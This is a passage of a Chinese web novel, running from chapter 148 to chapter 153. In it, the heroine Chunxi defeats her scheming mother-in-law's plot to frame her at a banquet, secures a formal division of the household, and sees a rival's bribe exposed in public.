沈清宇瞪大眼睛如遭雷击,他把目光从张大人脸上移到沈清渊脸上,艰难开口:“大哥,你竟然帮着曹春喜算计我们?” 沈清渊挑眉,一脸疑惑:“你们?除了三弟还有谁?为兄有点不太明白,而且刚刚被逼着休妻的人是我,三弟怎会是被算计的人?” “……” 第148章 老虔婆,我跟你拼了! 莫氏还不知道男宾席发生了什么,她认真想了想自己的计划。 这酒水问题是厨娘今早才告知春喜的,而春喜和沈清渊忙着待客,根本没有机会说上几句话,这会儿送酒水的人已经被拦在侯府门外,萧老夫人也证明王氏身上戴的就是萧氏的陪嫁之物,就算曹春喜浑身是嘴,那也是说不清的。 曹春喜表现得这般从容淡定,不过是强撑罢了。 这般想着莫氏沉声道:“家丑不可外扬,今日更是渊儿的好日子,我怎能将这种丑事宣扬到他那些同僚面前让他丢脸,你若不肯认错,那就只能家法处置了!” 莫氏冷哼一声,几个年轻力壮的小厮突然从暗处窜出来,直奔春喜而去。 春喜眼神一凛,霍然起身,抄起身边矮凳将冲在最前面的小厮砸得头破血流。 那人立刻倒地哀嚎,其他人却不受影响,继续朝春喜冲来,显然是得了重金,不拿下春喜绝不罢休。 然而不等他们碰到春喜的衣摆,几人便被利箭射中大腿,接连倒地,一时哀嚎声四起。 莫氏脸色发青,她知道春喜会些拳脚功夫,一般的粗使婆子奈何不了她,特意安排了几个年轻力壮的小厮,想着这样就能把春喜拿下,却没想到春喜竟然在腕间藏了袖箭,还敢当众伤人! 莫氏怕春喜会给自己也来一箭,她噌的一下站起来,把莫芸婉拉到身边为自己挡着,大声喝道:“曹春喜,你疯了,谁让你在身上私藏凶器的!” 春喜偏头,一脸认真:“是夫君给我的,夫君说今日府里人多,他又不能一直在我身边保护我,带着这个可以防身,没想到碰上刺客还真派上用场了,夫君真是料事如神啊。” 说到最后,春喜的语气带了骄傲,莫氏哽了一下,而后怒不可遏:“你在瞎说什么,哪里来的刺客?” “女眷重地,儿媳可是特意吩咐管事一定要看好府里的小厮,不许他们到后院乱窜,免得冲撞贵客,这些人若不是刺客,难道是婆母可以安排在暗中偷窥的?入了秋虽然凉爽不少,但秋老虎还是很厉害,婆母就不怕损了大家的清誉?” 今日天气很好,好些爱美的姑娘穿得都还很单薄,临近午时,更是脱了外裳好凉快些,听到春喜这话,原本吓得花容失色的姑娘们全都对着莫氏和那几个小厮怒目而视。 莫氏要跟自己的儿媳妇斗法闹笑话可以,但不能搭上她们的清白呀,谁知道这几个小厮躲在暗处的时候眼睛都在往哪儿看? 姑娘们被膈应到,在座的世家夫人看出门道,更是对莫氏不耻。 爬床上位的就是不一样,做了这么多年的侯门主母,做事还是如此上不得台面。 感受到众人的目光,莫氏只觉得骑虎难下。 她若是承认这些人是自己安排的,不知要得罪多少世家夫人,可若承认这些人是刺客,曹春喜揪住这一点不放的话,她就更解释不清楚了。 正不知该如何应答,一个丫鬟匆匆来到莫氏身边低语:“二少爷让小人转告夫人,今日的宴席是皇后娘娘着礼部的人操办的,请夫人莫要为难少夫人。” “你说什么?” 莫氏受到巨大冲击,揪住丫鬟的衣领大声质问,面容扭曲得像是要吃人,丫鬟吓得腿软,一时不敢说话。 沈清迟见莫氏失态,忍不住上前扶住莫氏:“娘,您怎么了?” 话音刚落,莫氏反手狠狠甩了沈清迟一巴掌:“贱人,我生你养你这么多年,你竟然伙同曹春喜一起来害我,你的良心都被狗吃了?” 这些日子沈清迟几乎天天跟春喜腻在一起,是她告诉莫氏春喜已经一步步走入她们的圈套,莫氏才迫不及待地当众发作,想要置曹春喜于死地,如今却被告知这宴席根本不是曹春喜亲自操办,而是礼部负责,莫氏自然下意识地觉得是沈清迟联合春喜一起骗了她。 莫氏用了全力,沈清迟被一巴掌扇到地上,耳朵一阵嗡鸣,她愣了一下哭着为自己辩解:“娘,到底发生了什么,女儿什么都不知道,女儿这些日子都是按娘的吩咐在做,女儿绝对没有背叛娘。” 沈清迟这话一出,莫芸婉立刻变了脸色。 她不知道莫氏为什么突然阵脚大乱,但沈清迟再这么哭下去,那就是不打自招了。 莫芸婉迅速挽住莫氏的胳膊,小声提醒:“姑母,你冷静些,还有这么多宾客看着呢。” 莫氏冷静不了。 她原本想借着操持宴席的事,把偷盗财物接济娘家的罪名扣死在春喜头上,现在却被告知这宴席是礼部的人负责的,还是奉的皇后娘娘的命,这说明曹春喜早就知道她们的计划,并且将计就计,设了个更大的圈套等着她。 现在事情闹成这样,谁看不出来是她这个做婆母的容不下新妇? 曹春喜能把这件事瞒得这样好,光靠沈清迟肯定是不行的,这里面必然还有沈清渊的手笔。 之前沈清渊的警告此刻在莫氏耳边不断回响,她不敢想象接下来会有什么样的后果等着她。 这般想着,莫氏看莫芸婉的眼神也变得怨毒起来。 她就说这个小贱人不是什么好东西,要不是这小贱人天天在她耳边挑拨离间,她怎么可能连这么简单的阴谋都没有发现? 春喜大概猜到那丫鬟跟莫氏说了什么,“关切”地问:“发生什么事了,母亲怎么突然动手打了妹妹?母亲方才说我和妹妹合谋害你又是什么意思?” 春喜问的也是一众宾客的疑问。 莫氏不是在追究曹春喜偷盗财物的事吗,怎么突然跟自己女儿闹起来了,曹春喜这还没有证明清白呢,哪有本事害她? 莫氏的嘴巴像是被胶水黏住,第一次感受到什么叫有口难开。 她能说什么? 说她本来以为设了个天衣无缝的圈套要让曹春喜变成侯府的罪人,从此以后任她拿捏,结果被曹春喜戏耍了一番? 莫氏憋不出一个字,这是莫芸婉捏了捏她的手腕,低声提醒:“姑母,我看你脸色不大好,要不先扶你回去休息一下?” 莫氏听懂暗示,当即就要装晕,然而她还没来得及倒在莫芸婉身上,就听到春喜说:“这镯子和坠子不是我拿的,但和我娘家有联系,还能经常进出问心院的只有我阿弟曹文,想来偷盗之人就是他,来人,把他带过来……” 王氏已经被接连的反转绕晕,但听到春喜要把偷盗的罪名安在曹文头上,王氏顿时像是发了疯的母鸡,猛地扑向莫氏和莫芸婉。 “我儿子在家跟他阿姐最是亲厚,定是你们教唆他偷东西害他阿姐的,老虔婆,我跟你拼了!” 第149章 你当我萧家的人都死绝了吗? 王氏的心眼儿都用在了春喜身上,对两个儿子却是真的好。 听到曹文可能有牢狱之灾,也不怕被世家夫人笑话了,冲上去对着莫氏和莫芸婉就是一顿抓挠,两人被挠得惨叫不止,宁氏和沈清迟想把她拉开,脸上也被挠了两道口子。 一众世家夫人哪见过这种场面,皆是惊得回不过神来。 等王氏的力气耗得差不多了,春喜才让人把她拉开。 没有理会王氏的哭喊,春喜扶起莫氏问:“母亲,你没事吧?” 莫氏刚刚本来是想装晕的,根本没有防备王氏会突然冲上来撒泼,一开始莫芸婉还装模作样地帮她挡一挡,后来扛不住了,便躲到一边,莫氏脸上被抓得火辣辣的,精心保养的头发也被抓掉好多,实在是狼狈不堪。 春喜这句关切落在莫氏耳中幸灾乐祸极了。 按照计划,今日本该是春喜丑态百出、人人喊打的,现在她这个侯门主母却变成了所有人的笑话。 莫氏知道事情闹成这样,沈清渊和春喜不会让她好过,索性也不装了,推开春喜,朝她啐了口口水。 “毒妇,你联合那个逆子给我下套,还在这里装什么?” 莫氏颤着手理了理自己蓬乱的发,瞪着王氏说:“我纵然有万般不是,那也是堂堂的侯夫人,你敢对我动手,我绝不会放过你!” 王氏被莫氏瞪得心虚不已,下意识地去看春喜,盼着春喜能斗倒莫氏这个老虔婆,不然她们一家都要遭殃。 莫氏在威胁完王氏后,也将目光投向春喜,她冷冷道:“你休想把事情推到一个不谙世事的孩子身上,若是没有你的授意,他怎可能进到问心院拿走如此贵重的东西,而且你之前变卖了渊儿母亲许多陪嫁之物,那些钱去了哪里,今日你必须说清楚!” 莫氏试图强撑,但她眼下形容狼狈,实在是一点儿威严都没有。 莫芸婉见状连忙帮腔:“大嫂,你过门时并没有带嫁妆,大哥衣食住行向来节约,光靠俸禄已经足矣,不知大嫂变卖那么多东西究竟是要做什么?” 莫芸婉也被王氏打出了脾气,声音比平时高了许多,带着怒火和质问,宁氏刚想帮忙说话,一个太监模样的人匆匆走来。 萧清月眼尖,第一时间大声道:“李公公,你怎么来了,可是太子哥哥让你来传话的?” 听到太子殿下的名号,众人立刻肃了脸色看向这位李公公。 李公公先向萧老夫人和萧夫人行了礼,又颔首向春喜示意,然后才笑着开口:“萧二小姐真是冰雪聪明,太子殿下确实是让奴才来传话的。” 说到这里,李公公顿住,清了清嗓子才又开口道:“方才男宾席那边发生了一点误会,沈三少爷甚至想逼迫沈大人休妻,太子殿下怕大家对沈少夫人有所误解,特意让奴才来为沈少夫人证明清白,沈少夫人在和沈大人去徐州之前,曾变卖了一些东西筹得现银一万一千余两。” “这些钱原本是预备着以防有什么不时之需的,但见到徐州百姓灾后的惨状后,沈少夫人便做主将它们全数捐出,皇后娘娘听闻此事,特意下旨褒奖沈少夫人,但沈少夫人行事低调,所以未曾大肆宣扬。” 众人原本还在疑惑皇后娘娘为什么会特意下旨夸奖春喜,听到这话,顿时觉得合情合理起来。 一万两银子对有底蕴的世家大族来说并不算什么,但春喜出身低微,却能捐出这么多银子做善事,实在是难能可贵。 更可贵的是,春喜并没有借着这件事为自己博美名,反而秘而不宣,若不是今日莫氏突然当众发难,也不会有人知晓此事。 原来沈少夫人剽悍归剽悍,但心地善良,还不慕名利,是个很好的人啊。 莫氏没想到今日的擢升宴不仅是礼部操办的,连春喜变卖东西那笔钱都有皇后和太子殿下帮忙作证,她和莫芸婉这一番算计,竟是帮春喜宣扬了好人好事! 莫氏身子晃动,这下是真的要气晕过去,莫芸婉连忙扶住她,而后先发制人怪罪起春喜来:“大嫂既然是花钱做了好事,不愿声张是可以的,但可以早些告诉母亲,如此也不至于闹出这么大的误会,连大哥都在同僚面前丢脸?” 眼看算计不成,莫芸婉第一时间就是撇清责任,这误会都是春喜藏着掖着不肯说出真相导致的,才不是她们先有害人之心,搬起石头砸自己的脚。 莫芸婉说着就要扶莫氏去休息,春喜幽幽道:“弟妹好歹曾与夫君有过夫妻之名,如今改嫁三弟才几日,这心怎么就偏得没底了?” 莫芸婉在迎客的时候得了不少夸赞,已然适应了侯府三少夫人的身份,这会儿被春喜当众指出她嫁了两兄弟,这才浮起羞恼来。 第150章 算账 春喜拿出了早就整理好的账册给萧老夫人看。 莫氏当年爬床进侯府,莫家嫌丢人,并未给她多少嫁妆,这些年侯府吃的用的多是靠的萧氏留下来的嫁妆铺子和田地庄子。 换句话说,萧氏虽然故去多年,却还养着侯府一大家子。 然而哪怕是莫氏做了假账,沈清渊身为萧氏唯一的儿子,每年的花销也还是在下降,甚至不及沈清越和沈清宇的一半。 萧夫人和萧老夫人一起看着账目,面色渐渐发沉,却又听到春喜说:“儿媳嫁进来几个月,发现夫君生活节俭,院子里连小厨房都没有,有时因公务耽搁,深夜回来连口热食都吃不上,这些账目上关于夫君的部分有大半都是假的。” 这些年沈清渊对萧家人并不亲厚,萧老夫人虽然担心他,却没办法直接把手伸进侯府,并不知晓莫氏如此贪心,花着萧氏的钱竟还如此厚此薄彼。 萧老夫人把账簿重重砸在手边茶几上,怒目瞪着莫氏:“花着渊儿亡母的钱把自己的儿子养得金尊玉贵,却让渊儿节衣缩食,清远侯夫人你可真有本事啊。” 看到春喜拿出账目,莫氏就彻底慌了。 她之前愿意交出掌家权,是想借擢升宴除掉春喜,并且觉得春喜出身不高,看不出账目上的问题,结果春喜不仅反将了她一军,还把账目捅到萧老夫人面前。 萧老夫人掌管萧家多年,那可是道行高深的老狐狸,这作假的账目哪里逃得过她的法眼? 萧老夫人这一句“清远侯夫人”叫得莫氏心神俱裂,腿都有些发软。 她想要辩解什么,春喜比她更快地嚎啕出声。 “我出身不好,婆母对我百般挑剔是应该的,可夫君这些年待婆母可是敬重有加,为官这么多年心里更是时时刻刻装着江山社稷、黎民百姓,回家后却要遭受如此寒心的待遇,这不是让夫君分心,不能为陛下尽心尽力地做事吗?” 春喜把自己放得很低,几句话,就把后宅的婆媳矛盾上升到妨碍江山社稷上来,虽说有点夸张,但仔细一想也是有几分道理的。 若不是莫氏没有帮沈清渊选好婚事,以沈清渊的状元之姿说不定早就得到陛下重用了,怎会在京兆府蹉跎十年才被发现? 眼看众人都露出赞同之色,春喜顺势道:“婆母容不下夫君,我和夫君早就商量准备分府出去单过,夫君本不想计较过去这些年的账目,也不想兴师动众,但没想到婆母一再相逼,那今日就请舅母和大家做个见证,咱们好好清算一下这些年的账,从今日开始分家吧!” 听到分家二字,莫氏心头狂颤,她急急道:“不行,侯爷如今还健在呢,就算要分,也得让侯爷亲自主持,萧老夫人没有这个权力!” 说这话时,莫氏不由得暗自庆幸,庆幸沈清渊一早打晕了清远侯,没让清远侯出现在众人眼前,如此还能拖上一拖。 正想着,却见吴氏被丫鬟扶着出现在众人面前。 李公公好心道:“侯夫人不必担心,侯爷方才已经被请到男宾席了,而且沈大人早就向陛下求了分家的旨意,太子殿下也会和侯爷一起主持分家的。” 沈清渊拿出了分家的圣旨,还请了太子一起做主,分家这事已是板上钉钉,再无回寰的余地。 莫氏后脊发凉,肩膀一寸寸垮下去,沈清迟看着这一幕心也不住地往下坠,她猛地冲到春喜面前,如上次在问心院一样,不断磕头。 “今日之事都是我的主意,是我嫉恨大嫂,不想大嫂抢走母亲的掌家权,所以故意设计陷害大嫂,大嫂要怪就怪我吧,不要怪母亲,母亲年纪大了,受不得这样大的刺激,求大嫂不要分家好不好?” 沈清迟也不管说不说得通,只一股脑地把罪责都揽在自己身上,反正那些世家夫人也看不起她,她担上谋害大嫂的名声也没什么,只要能劝大嫂不分家,母亲以后就会看重她,等过两年风头过了,母亲定会为她寻一门好亲事的。 春喜没有应声,沈清迟磕了几下,忽地砸碎腕间的玉镯,捡起一截碎片抵在自己喉咙:“我愿意以死谢罪,只求大嫂不要分家。” 碎片太过锋利,沈清迟脖子被划破流出血来,加上她又磕破皮的额头,整个人看上去可怜极了,离得近些的世家小姐发出小小的惊呼,都有些可怜起她来。 春喜却面无表情,没有一丝动容,只看向莫氏:“夫君和母亲没有血缘关系,母亲待他不好也算情有可原,妹妹可是母亲的亲生骨肉,母亲也要眼睁睁地看着她寻短见吗?” 昭陵向来重孝,但也提倡母慈子孝,莫氏如果连自己的亲生骨肉都不心疼,那沈清渊要分家就更理直气壮了。 莫氏可以私下对沈清迟不好,但不能当众背上这样的骂名,她立刻喝止沈清迟:“迟儿,这是大人之间的事,用不着你一个孩子插手。” 沈清迟像是没听见,只执拗地看着春喜:“只要不分家,大嫂要我怎么赎罪都可以。” 第151章 分家 春喜的话成功让沈清迟止了哭。 今日他们闹分家的阵仗是大了些,瞧着有些吓人,但其实在昭陵,男子成婚后分家单住并不是什么稀奇的事。 寻常人家房屋不够大,儿子成婚后多是要出去住的,世家大族子嗣分支多,更是希望后人有出息,能够自己建功立业,自立门户。 虽说分家后吃喝不在一块儿,各管各的花销,但本质上还是一家人,家里有什么大事,还是会聚在一起商议。 而且春喜和沈清渊分家是因为莫氏这个继母处事不公、贪心算计,没有和侯府断绝关系已经很好了,如此处理绝对算不上狠绝。 众人窃窃私语,都在帮春喜说话,沈清迟咬紧唇瓣,不知道还能说什么。 很快,太子殿下又派了人来:“经工部几位大人共同核算,清远侯府共计欠沈大人五万八千七百三十二两银子,清远侯已经认下这笔账了,并允诺在三年时间全部还清,从即日起,沈大人和沈少夫人搬出侯府自立门户,因侯爷眼下身体康健,世子之位暂不定下。” 太子亲自发了话,清远侯自己也认了账,这事尘埃落定,谁也改变不了了。 这可是将近六万两银子啊,她上哪儿去凑钱还? 莫氏再也坚持不住,两眼一翻晕倒在地,贾嬷嬷和莫芸婉还有宁氏一起扶着莫氏回去休息,春喜则命人将中箭的几个小厮拖走,把地上的血渍擦洗干净。 王氏本以为危机度过,正想跟春喜说话,却听到春喜说:“我的确没有偷拿府里的东西,但夫君娘亲的遗物为什么会出现在你身上还是需要查清楚,宴席结束后我还要搬家,实在没有时间,你还是去京兆府说清楚吧。” 春喜说完,立刻有人捂了王氏的嘴,把她扭送京兆府衙门。 众人见识了她对莫氏的凌厉手段,又见识了她对自己亲娘的绝情,心中一阵凛然。 这位沈少夫人虽然出身不高,但很有城府和手段,而且还有沈大人给她撑腰,日后可万万不能招惹她啊。 下人动作麻利,很快花园就恢复了干净祥和,唯有沈清迟还流着泪跪在地上,提醒着众人刚刚发生了怎样的闹剧。 已近午时,侯府门外放了鞭炮,春喜招呼着众人去往宴厅落座休息,从沈清迟身边走过时,裙摆被抓住。 沈清迟仰着头,泪眼朦胧地瞪着春喜:“大嫂,你其实早就知道我要害你,是吗?” “是。” 春喜坦然承认,沈清迟想到自己这些日子的愧疚纠结,一时怒从中来,她忍不住质问:“大嫂既然早就知道,为什么不早点阻止?” “我为什么要阻止?”春喜反问,把裙摆从沈清迟手里扯出,“你们想害我,这次不成还会有下次,你们不反思自己为什么不能停止害人,却要我反思为什么不阻止你们作恶,沈清迟,你哪儿来这么厚的脸皮?” 春喜的话直白且充满恶意,沈清迟脸上火辣辣的,像是被人狠狠扇了一巴掌,她哭着辩解:“我也是被逼的,大嫂你明明知道娘根本不爱我,只是把我当成二哥三哥的垫脚石,我长这么大一直对娘言听计从,我根本反抗不了……” “所以呢,你软弱无能,反抗不了你娘,就能理直气壮地来害我?” 春喜直接打断,沈清迟心虚了片刻,很快又为自己找到借口:“大嫂你很聪明,不会这么容易被陷害的,就算被夺回掌家权,有大哥撑腰你也能过得很好,大嫂若是愿意教教我该怎么做,我就不会一时糊涂犯错了。” 沈清迟刚说完,就被春喜扇了一巴掌。 这一巴掌不比莫氏之前那一巴掌轻,沈清迟被扇得歪倒在地,春喜却没有停下,蹲下身来,揪着她的衣领又给了她两巴掌。 沈清迟瞳孔震颤,满脸的不可置信:“大嫂,你凭什么打我?” “妹妹不是要我教你做人么,现在知道自己错在哪儿了吗?” 春喜冷冷开口,全然没有之前的温柔和煦,沈清迟羞愧难当,害怕春喜的巴掌又会落下来,想了一会儿说:“我知道了,我不该没有主见,不该分不清好赖帮着娘做坏事,更不该对大嫂生出怨怼,我以后再也不敢了。” 春喜揉揉手,弯眸道:“既然这些道理妹妹都懂,以后就不要逼我动手了,妹妹就算不心疼自己的脸,也该心疼心疼我的手。” 说完这句话,春喜大步离开。 沈清迟捂着脸,失魂落魄地想要回到自己的院子休息,然而走到半路,却看到莫氏和清远侯扭打到一块儿。 “你这个老色鬼,脑子都被狐狸精吃了不成,你怎么能答应那个逆子分家还答应赔钱给他,那可是将近六万两银子啊,我上哪儿赔给他?” “那些钱本就是那个短命的女人留给他,你侵占人家的遗产不说,还苛待她的儿子,做出这种丑事,你哪儿来的脸跟我闹?” “你以为我想贪那个死人的钱吗,要不是你把所有的钱都拿去花天酒地养狐狸精,我何至于如此?当初你哄我上床的时候是怎么承诺我的,如今又是怎么对我的?” 莫氏也是气急了,扑上去就要抓花清远侯的脸,但清渊侯毕竟是男人,一番拉扯后失了耐心,抬脚就把莫氏踹翻在地:“这些钱都是你花的,你自己想办法还上,再敢来烦我我就休了你!” 丢下这句话,清远侯甩袖而去。 他本以为今日能靠着儿子扬眉吐气,没想到先是被儿子打晕,后又被莫氏连累颜面尽失,眼下只想赶紧离开这里回到温柔乡。 清远侯走后,莫氏坐在地上号哭不止,她头发蓬乱,脸上都是抓挠留下的伤,形容疯癫,再无侯府主母的体面。 沈清迟没敢上前,悄悄绕路回了自己的院子。 大哥大嫂今日之后就要搬出去住,等娘回过神来,肯定会把所有的怒火都撒到她头上,这个家她不能再待下去了。 第152章 无忧阁做的是正经买卖 为了瞒着莫氏他们,沈清渊跟礼部的人商量简化了流程,并未带着花轿出门游街,但还是要和春喜补办婚礼仪式。 在沈清渊和春喜处理分家事宜的时候,礼部的人已经用屏风和红绸把前厅分成了两个区域。 酒席已经备好,一众宾客落座,沈清渊拿着红绸大步来到春喜身边。 清远侯在分家之后就离开了,莫氏更是无脸见人,司仪便请萧老夫人坐到主位做证婚人。 萧老夫人没想到还有这一出,她看了沈清渊一眼,见沈清渊神色冷淡,怕他不高兴,下意识地推辞。 春喜立刻劝道:“今日府里出了这样的乱子,舅母不帮我们压阵哪行啊,而且我出身低微,又没有娘家人撑腰,舅母愿意证婚,也代表萧家对我的认可,日后才不会有人敢随便看轻我呀?” 沈清渊的身世瞒得很好,整个萧家如今也只有萧父和萧夫人知情,萧夫人见春喜说的有道理,也帮着劝了劝:“渊儿在侯府的处境母亲也看到了,如今他已自立门户,清远侯这个当爹的又不管他,母亲不疼他还有谁会疼他呢。” “是啊母亲,您就答应吧。” 萧父也跟着劝。 萧老夫人还有犹豫,这时春喜碰了碰沈清渊的手肘,沈清渊开口:“请舅母上座。” 沈清渊的语气平淡,和往常一样带着疏离,却瞬间让萧老夫人红了眼,萧老夫人不再推辞,在主位稳稳落座。 在司仪的高呼声中,春喜接过沈清渊递过来的红绸,在所有宾客的注视下,再次和他拜了天地,最后给萧老夫人敬茶。 萧老夫人早已见惯大风大浪,此刻却控制不住落泪,她不住点头:“好孩子,以后你们相互扶持,日子一定会越过越好的。” 喝完茶,萧老夫人把之前没收来的玉镯和坠子交给春喜:“这些是渊儿的娘留下来的陪嫁,本就是应该给你的,你好好收着,渊儿能娶到你是他的福气,以后萧家就是你的娘家,谁要是敢拿你的出身说事,我第一个不答应。” 说这一番话时,萧老夫人的声音刻意拔高,足够让在场的宾客都听清楚。 春喜并不推辞,欢喜收下:“谢谢舅母。” 仪式结束后,春喜陪着萧老夫人在女眷席落座,虽然沈清渊并未跟她有过多的亲密接触,眼神却一直追着她,而且目光温柔,透着缱绻。 卫凌泽看着这一幕只觉得刺眼极了。 他一直觉得沈清渊和春喜是假成婚,沈清渊是被莫氏算计逼迫才娶的春喜,如今沈清渊进了御史台前途大好,还当众分家要出去自立门户。 按照常理,沈清渊是不需要再配合春喜演戏的,而且还应该和春喜划清关系,如此才好再娶一个对他有助益的、出身名门的妻子。 可方才的婚礼仪式打破了卫凌泽的幻想。 沈清渊似乎喜欢上春喜了。 这个念头让卫凌泽很烦躁。 虽然他嘴上说着春喜出身低微,言行还粗鲁不堪,但三年相处,他比任何人都更清楚春喜的好。 刚受伤那几个月,他无法接受自己可能要一辈子瘫痪在床,脾气变得很暴躁,院子里的下人换了一个又一个,就连行舟看他的眼神都带了恐惧,春喜却不一样。 哪怕第一天到凌枫院就被他砸破脑袋,哪怕见到他屎尿失禁的丑态,春喜也不会用诡异或是同情的眼神看他。 她会在他一次次的辱骂和打砸之下,坚定地来到他身边,帮他擦洗干净身体,恢复体面。 她似乎从来都不会哭,坚韧极了,也乐观极了,好像不管发生什么样的事,只要人还活着,就不算太糟糕。 在春喜的陪伴之下,他的情绪渐渐稳定下来,也开始不自觉地生出希望,积极配合御医诊治。 连他都能被春喜从暗无天日的深渊拽出来,沈清渊会喜欢春喜似乎也不是一件奇怪的事。 可明明春喜是先来到他身边的,沈清渊凭什么跟他抢? 卫凌泽越想面色越阴郁,这时一个下人神色慌张地来到沈清渊耳边低语:“大人,门外有人自称是无忧阁的要来贺喜。 沈清渊听完,立刻掀眸看向卫凌泽,卫凌泽脸上阴郁全无,反而勾唇露出一抹笑。 他给沈清渊准备的大礼,到了! 沈清渊并未动怒,低声吩咐下人:“请他们进来吧。” “还有客人吗,怎么这么晚才来?” 太子好奇地凑到沈清渊耳边问,眼底是隐隐地兴奋和期待。 今天这场擢升宴可太精彩太热闹了,比他在宫里看的宫宴有趣多了。 正想着,一道藏青色身影便在下人的指引下走进来。 来人虽是男子,身形却有些单薄,腰肢更是尤为的细,但他眉眼俊朗,只是有些文弱,并不让人觉得阴柔,行走之间,衣袂翻飞,很是让人赏心悦目。 岚舒径直来到沈清渊面前,行礼后恭敬道:“小人岚舒,奉无忧阁阁主之命,特来送礼恭贺沈大人高升,同时也祝沈大人和沈少夫人琴瑟和鸣、恩爱白头。” 说着话,岚舒从袖中拿出一个紫檀木的盒子,盖子打开,里面竟是一颗核桃大小的夜明珠。 在场不少人都忍不住倒吸了一口气。 夜明珠可是罕见之物,便是有钱都不一定能买到,这无忧阁阁主出手好阔绰啊。 卫凌泽还等着看沈清渊的笑话,没想到岚舒竟然真的送了一份大礼来,他皱紧眉头,正觉气闷,岚舒忽地朝他走来,还将一万两银票放在了他面前。 “卫公子,抱歉,我们无忧阁做的是正经买卖,不能昧着良心毁人清誉,沈少夫人从未来过无忧阁,更不曾与阁中小倌寻欢作乐,这一万两银票还请卫公子收回吧。” 岚舒的声音温和好听,面上也是带着笑的,眸底却恶意满满。 无忧阁不做这笔生意,当时就可以拒绝,却偏偏收下银票,等到今天当众说出来,分明是故意要让卫凌泽下不来台。 卫凌泽面色阴沉,恨得险些咬碎一口牙。 无忧阁真是好大的胆子! 第153章 你可愿和离? 岚舒当众揭穿卫凌泽对春喜的陷害,卫凌泽无地自容,气冲冲地离开。 萧清禾在女眷席并未受到影响,宴席结束后才听闻此事。 片刻的惊讶后,萧清禾诚恳地向春喜道歉:“小婶婶,对不起,我没想到他会做出这样的事。” 春喜摇摇头,一点儿也不生气:“又不是你犯的错,你道什么歉呀,等我搬完家,再请你来吃开府宴。” 萧清禾笑着应下,等出了侯府,萧老夫人突然开口:“时辰还早,禾儿你先陪我回家坐坐吧。” 萧老夫人的语气有些严肃,萧清禾敛眉应声:“是,祖母。” 回到萧家,萧清禾陪萧老夫人去了松鹤院。 萧清月想跟上,被萧夫人拦下:“祖母有话要与你阿姐说,你别去添乱。” 萧清月憋了一路,忍不住好奇:“娘,无忧阁是什么地方啊,姐夫请无忧阁的人来贺喜怎么就损了小婶婶的名声了?” 自那日春喜在太傅府帮萧清禾出了气,萧清月就认下这个小婶婶了,如今叫起这个称呼也很自然。 萧夫人板着脸横了她一眼:“小孩子家家的,不该打听的别瞎打听,再让我听到你嘴里提起无忧阁,我定饶不了你!” 萧夫人非常严肃,萧清月吓得缩了缩脖子:“我知道了,我以后再也不提了,娘你别生气。” 松鹤院里,萧老夫人坐在主位,萧清禾亲自倒了茶给她。 萧老夫人没喝茶,只定定地看着萧清禾:“嫁给卫凌泽,你可后悔?” 萧老夫人问得太过直接,萧清禾的手抖了一下,刚要回答,又听到萧老夫人说:“这里只有你我祖孙二人,你不必骗我。” 到嘴边的顿时噎住,过了好一会儿,萧清禾才开口:“回祖母,孙女后悔了。” “那你可想和离?” “没有,孙女绝无此意!”萧清禾飞快摇头,急急道,“当初卫家出事,祖母和母亲便有了退婚之意,是孙女执意不肯退婚,非要嫁进卫家的,这条路是孙女自己选的,孙女理应承担后果,绝不能让族中姐妹因孙女的任性而遭人非议。” 更何况婆母待她极好,一过门就给了近半掌家权给她,并没有因为萧家推迟婚礼为难她,卫凌泽犯错后,婆母也是坚定地站在她这边的。 就算不爱卫凌泽了,有这样一个婆母,日子也还是能过下去的。 萧清禾眼神坚定,她虽温柔娴静,却是个柔中带刚的姑娘,就算后悔难过,她也要为自己的选择负责。 萧老夫人叹了口气,既欣慰又心疼。 这个孙女儿是她看着长大的,虽尊贵貌美,却没有半点儿娇纵蛮横,一直都是京中贵女的典范和萧家的骄傲。 只可惜,嫁错了人。 “傻姑娘。” 萧老夫人揉了揉萧清禾的脑袋,满眼疼惜,萧清禾眼眶发热,险些落下泪来。 她刚想强撑着说自己不委屈,让祖母放心,又听到萧老夫人说:“若卫凌泽单单只是对你不好,祖母是不会问你想不想和离的,他腿上的伤虽然好了,心里的伤却还在,如今他行事并不磊落,甚至为了达到目的可以不择手段,如此下去,必然会闯下大祸。” 两家联姻既是利益共享,也是风险同担,如果这桩婚事不仅让萧清禾不开心,还会给萧家带来危险,那就没有存续的必要了。 萧清禾听出萧老夫人话里的警示,脑海中浮现出卫凌泽口是心非说不喜欢春喜的画面,不由得心头一跳。 萧清禾不敢看萧老夫人的眼睛,生怕被看出什么端倪,垂眸道:“祖母提醒的是,我回去后定会好好劝诫他,让他以后谨慎行事。” 萧清禾并不打算和离,萧老夫人也没有多劝,只拍了拍她的手说:“好孩子,祖母今天跟你说这些,只是希望你明白,萧家能走到今日,已不需要族中女眷委屈自己,通过姻缘来维持萧家的荣光。” 所以不管她做出什么样的决定,萧家都会支持她。 萧清禾感受到了满满的疼爱,哽咽得说不出话,只能红着眼点头。 又陪老夫人说了会儿话,萧清禾去见了萧夫人,得知老夫人的意思,萧夫人亦是感动不已,她抱住萧清禾,拍了拍她的背,柔声道:“你祖母向来都是疼爱你的,你回去好好想想她的话。” 母女俩又聊了许久,等萧清禾从主院出来,天色已经有些暗了。 她带着雀枝匆匆朝外走去,快走到大门口时,突然看见一道高大颀长的身影走进来。 对方穿着一身银灰色鎏金锦衣,肩宽腰窄,因天色暗,看不大清楚长相,只觉得一身气势冷锐,如同利剑。 萧清禾猛然停下步子,竟觉得这道身影和那夜在小舟上最后见到的面具男子很像。 男人反应敏锐,见她停在原地,步子跟着顿住,而后侧身站到柱子后,微微垂首,很明显是在给她让路。 “夫人,怎么了?” 雀枝疑惑,萧清禾回过神来,暗道自己太疑神疑鬼了。 萧家的人怎么会是无忧阁阁主? “没事。” 萧清禾摇了摇头,将那个不切实际的念头抛出脑海,带着雀枝继续往外走。 路过那人身边时,雀枝忽地开口:“奴婢见过辰少爷。” “嗯。” 男人低低地应了一声,声音自鼻腔发出,很是低沉。 萧清禾的步子控制不住再次停下。 她擅长音律,记忆力也好,对不同人的声音很敏感,刚刚这人的声音和那晚她在小舟上听到的也很像! 萧清禾诧异地看向男人。 男人长了一张年轻好看的脸,但因为眉锋和眼神太过锐利,整个人看上去很是冷沉,不太好接触。 萧清禾对他有印象,他叫萧夜辰,是祖父一位心腹的孙子,因家遇横祸,自小就被养在萧家,还得了萧姓。 感受到她的目光后,萧夜辰眉心皱起,不过很快又舒展开来,温声询问:“怎么了?” 虽然只有三个字,但发音比之前长了很多,萧清禾可以肯定眼前的人就是那天晚上戴着面具舞剑的无忧阁阁主。 